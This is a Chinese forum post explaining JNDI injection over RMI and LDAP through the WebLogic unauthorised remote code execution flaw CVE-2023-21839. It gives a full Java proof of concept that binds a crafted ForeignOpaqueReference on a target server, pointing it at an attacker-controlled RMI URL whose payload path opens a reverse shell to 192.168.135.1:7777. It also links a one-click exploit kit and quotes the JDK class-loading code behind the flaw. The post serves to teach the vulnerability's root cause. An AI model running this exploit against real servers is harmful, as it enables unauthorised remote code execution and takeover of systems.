ToB企服应用市场:ToB评测及商务社交产业平台

标题: 深入明白JNDI注入—RMI/LDAP攻击 [打印本页]

作者: 铁佛    时间: 前天 10:50
标题: 深入明白JNDI注入—RMI/LDAP攻击
目次

媒介

本篇文章初衷是在研究log4j2漏洞时间找不到一篇完整且能够真正让我明白漏洞根因的文章,导致我想写一篇通俗易懂能明白到底啥是JNDI注入,怎么lookup的。
固然不排除国外英文文章有很好的解释,但是我更盼望有中文版本。
JNDI 注入简单明白

JNDI (Java Naming and Directory Interface)
JNDI注入可以归纳为背景在执行代码的时间,最终会执行到lookup函数,然后lookup函数传入的值是我们在请求或者其他方式能够控制的一个变量,再者lookup支持长途方法调用(RMI)、轻型目次访问协议(LDAP)、域名服务(DNS)。
定眼一看RMI、LDAP、DNS,肾上腺素拉满,这仨都可以共同JNDI注入举行(lookup)漏洞利用攻击。 所以这也就是为啥有很多攻击方式为:JNDI+RMI、JNDI+LDAP、JNDI+DNS,最具杀伤力的自然是rmi和ldap协议,能够长途绑定对象执行代码。(这里别蒙圈,知道这俩协议共同JNDI能够长途执行代码即可)

通常测试是否存在JNDI注入漏洞的话可以先用DNS探测一下是否有回显,有的话才好举行下一步的攻击。
另有一个公共对象请求代理体系结构(CORBA)
透过Weblogic漏洞深入明白

该漏洞为:Weblogic未授权长途代码执行漏洞(CVE-2023-21839)
下面的源码分析都围绕23年Weblogic的一个未授权长途代码执行漏洞来解释怎么RMI和LDAP攻击,这也是为啥我不满意网上大部分文章的原因,没有联合一个具体的漏洞去解释这俩协议。
(纯属个人观点,毕竟照旧参考了很多大佬文章的,各位道友轻点喷)
注:!!!补充,这个weblogic漏洞是你绑定对象后自动的举行lookup查询,然后让背景触发了你绑定的类然后他又去触发了lookup执行了你的恶意payload。
RMI与LDAP的区别

RMI和LDAP的区别实在就是安全限制有最大的不同,两个协议用起来都是需要加载恶意类到本地执行下令。
(区别就是:RMI/LDAP长途对象引用安全限制存在差别)
参考文章:
https://myzxcg.com/2021/10/Java-JNDI分析与利用/#jndi-目次服务
↓↓↓↓↓↓里面有写一段,办理了我的对两个协议的迷惑:↓↓↓↓↓↓

JNDI+RMI

假如你看懂了上面的并且觉得够了且已经明白了,那么就无需看下面分析了,因为这里我写的原因就是因为不相信别人说的,我才盼望真正看到是不是真的能够举行JNDI注入lookup举行攻击。
漏洞代码触发链

参考文章:https://xz.aliyun.com/t/12297
下图为:ForeignOpaqueReference的父类OpaqueReference,可以看到里面存在getReferent函数,这个函数跟进去就有触发lookup。

跟进getReferent,你看我框住的就行,你会发现我们只要满意下面两点:
然而以上的条件都可以通过编写脚本用反射机制拿到变量举行修改,说白了就是在lookup查询你绑定好的对象时,就会调用ForeignOpaqueReference.getReferent(),然后就去触发受害端背景的lookup,接着执行你控制好的remoteJNDIName,所以这里我们只要控制var4与this.remoteJNDIName就能造成jndi注入

以下是RMI的漏洞攻击POC:
注明:本人没有测试poc是否成功,发起使用集成工具一键搭好攻击环境:
https://github.com/ugnoeyh/Log4shell_JNDIExploit

解下先容poc代码
  1. <dependency>
  2.     <groupId>weblogic</groupId>
  3.     <artifactId>wlfullclient</artifactId>
  4.     <version>0.1</version>
  5. </dependency>
  6. <dependency>
  7.     <groupId>weblogic</groupId>
  8.     <artifactId>spring</artifactId>
  9.     <version>0.1</version>
  10. </dependency>
  11. <dependency>
  12.     <groupId>weblogic</groupId>
  13.     <artifactId>logging</artifactId>
  14.     <version>0.1</version>
  15. </dependency>
复制代码
  1. import weblogic.deployment.jms.ForeignOpaqueReference;
  2. import weblogic.iiop.IOPProfile;
  3. import javax.naming.Context;
  4. import javax.naming.InitialContext;
  5. import java.lang.reflect.Field;
  6. import java.util.Hashtable;
  7. public class CVE_2023_21839 {
  8.     public static void main(String[] args) throws Exception {
  9.         String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
  10.         // 创建用来远程绑定对象的InitialContext
  11.         String url = "t3://192.168.135.129:7001"; // 目标机器
  12.         Hashtable env1 = new Hashtable();
  13.         env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
  14.         env1.put(Context.PROVIDER_URL, url); // 目标
  15.         InitialContext c = new InitialContext(env1);
  16.         // ForeignOpaqueReference的jndiEnvironment属性
  17.         Hashtable env2 = new Hashtable();
  18.         env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
  19.         // ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性
  20.         ForeignOpaqueReference f = new ForeignOpaqueReference();
  21.         Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
  22.         jndiEnvironment.setAccessible(true);
  23.         jndiEnvironment.set(f, env2);
  24.         Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
  25.         remoteJNDIName.setAccessible(true);
  26.         String rmi= "rmi://192.168.135.1:1389/Basic/ReverseShell/192.168.135.1/7777";
  27.         remoteJNDIName.set(f, rmi);
  28.         // 远程绑定ForeignOpaqueReference对象
  29.         c.rebind("sectest", f);
  30.         // lookup查询ForeignOpaqueReference对象
  31.         try {
  32.             c.lookup("sectest");
  33.         } catch (Exception e) {
  34.         }
  35.     }
  36. }
复制代码
lookup触发链

OK上面就是weblogic漏洞未授权长途代码执行的一个紧张漏洞根因,下面先容的是知道了举行lookup后,lookup是怎么加载恶意payload的过程。
这里有一个lookup举行实例化对象的调用栈
(从下JNDI_Test的函类开始往上看)
  1. getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
  2. ↑↑↑↑↑↑
  3. getObjectInstance:319, NamingManager (javax.naming.spi)
  4. ↑↑↑↑↑↑
  5. decodeObject:456, RegistryContext (com.sun.jndi.rmi.registry)
  6. ↑↑↑↑↑↑
  7. lookup:120, RegistryContext (com.sun.jndi.rmi.registry)
  8. ↑↑↑↑↑↑
  9. lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
  10. ↑↑↑↑↑↑
  11. lookup:411, InitialContext (javax.naming)
  12. ↑↑↑↑↑↑
  13. main:7, JNDI_Test (demo)
复制代码
再往深了讲getObjectFactoryFromReference就是最终的罪魁祸首
其他调用过程就不讲了,有感兴趣可以看参考文章:https://xz.aliyun.com/t/12297
接着讲:getObjectFactoryFromReference干了啥,以下是他的源码部分
其中
  1. static ObjectFactory getObjectFactoryFromReference(
  2.     Reference ref, String factoryName)
  3.     throws IllegalAccessException,
  4.     InstantiationException,
  5.     MalformedURLException {
  6.     Class clas = null;
  7.     // Try to use current class loader
  8.     try {
  9.          clas = helper.loadClass(factoryName);
  10.     } catch (ClassNotFoundException e) {
  11.         // ignore and continue
  12.         // e.printStackTrace();
  13.     }
  14.     // All other exceptions are passed up.
  15.     // Not in class path; try to use codebase
  16.     String codebase;
  17.     if (clas == null &&
  18.             (codebase = ref.getFactoryClassLocation()) != null) {
  19.         try {
  20.             clas = helper.loadClass(factoryName, codebase);
  21.         } catch (ClassNotFoundException e) {
  22.         }
  23.     }
  24.     return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
  25. }
复制代码
至此,历尽千辛万苦,透过一个23年的weblogic漏洞分析JNDI到此结束。
JNDI+LDAP

同理RMI,就是有版本的安全配置限制,上面也讲了两个协议的区别,但实质都是通过加载恶意类来攻击的。
身为散修就这么生硬的解释,道友莫怪。
感谢看到这里的道友~

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4